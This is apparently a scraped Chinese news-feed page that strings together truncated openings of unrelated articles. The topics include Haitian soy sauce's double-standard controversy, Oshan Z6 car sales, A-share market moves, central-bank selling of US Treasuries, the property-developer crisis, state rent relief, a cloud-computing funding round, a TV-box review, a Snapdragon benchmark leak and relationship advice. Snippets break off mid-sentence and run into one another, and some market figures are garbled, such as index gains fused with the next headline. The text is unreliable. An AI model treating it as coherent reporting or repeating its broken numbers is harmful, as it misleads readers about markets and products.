冠军。海天高姿态底气,盔甲还是软肋?撰文肖岳编辑彭箫恒题图ICPhoto海天酱油双标事件的不断发酵,引发了各界对于酱油,乃至整个调味品行业的关注。海天酱油陷双标风波始末概述事件始于一位以科技与狠活为口头语的短视频博主继8月之后,9月销量继续下滑,欧尚Z6依然成功了!文凌清图车宇世界网络温馨提示车宇世界,只做最真实的车评。本文为车宇世界车型质鉴0161之欧尚Z6系列文章,为车宇世界原创,转载请注明,侵权必究。9月份,欧尚Z6的销量又下滑了。从今午评创业板指震荡上行涨近15G储能等题材抢眼金融界10月18日消息今日A股三大指数全线高开,盘初一个半小时市场小幅走弱后回升并陷入震荡态势之中,午前半小时A股逐步上行,创业板指涨幅达1。截止午间收盘,沪指涨0。16,报308墙倒众人推,美债不香了?全球央行打响货币保卫战曾经市场的香饽饽美债,如今正在被全球央行加速抛售,在你看不见的外汇市场,一场没有硝烟的货币保卫战正在悄然打响。一直以来,美国国债都被誉为全球最安全的资产,世界各国都是抢着买的。美国2023年的中国楼市会怎样?自从去年恒大债务暴雷后,至今国内地产暴雷的企业是前赴后继,恒大华夏幸福融创奥园佳兆业蓝光等等,媒体也是一边倒的在指责房产的贪婪无度盲目扩张,截止今年很多房产企业也还是在艰难自救的路事关房屋租金减免!国资委发文国务院国资委日前发出关于进一步做好2022年服务业小微企业和个体工商户房屋租金减免工作的通知,要求各中央企业和地方国有企业进一步提高站位,不折不扣将房租减免政策落实到位。通知提出,北鲲云连续完成B和B轮融资,驱动云上高性能计算新引擎深圳北鲲云计算有限公司(以下简称北鲲云)近期宣布连续完成B和B两轮融资,分别由君联资本中南资本投资,两轮融资均由毅仁资本担任独家财务顾问。北鲲云将利用新资金加速产品创新,拓展行业广8K性能怪兽来了!腾讯极光盒子5Pro深度测试智能电视盒子的出现是互联网时代高速发展下的产物,早期我们观看电视节目全部来自于有线信号,电视中播什么我们就看什么。而随着互联网的广泛普及,我们观看电视的方式也发生了剧变,变成了我们高通骁龙8Gen2芯片跑分数据曝光性能提升明显功耗控制得当高通骁龙8Gen2跑分数据曝光,首个Geekbench5跑分来看了。图源网络,侵权删除曝光了一款名为三星SMS911U的三星手机搭载高通骁龙8gen2处理器的Geekbench5跑异性聊天,常发这三句话的人,关系容易暧昧异性相处,需要保持一定的距离,尤其是,身份并不合适的两个人,一旦靠得太近,就容易越界。不管关系如何好,只要其中一方有了家室或对象,就应该守住道德的底线,主动跟别人拉开一定的距离,拒A股近期要爆发一波吗?今日上午,A股主要指数又是全线飘红,热门的储能赛道,掀起涨停潮。次新金融期货股弘业期货,又涨停了。易方达汇添富华夏基金等多家头部公募基金公司券商资管宣布拟于近期自购旗下基金产品,涉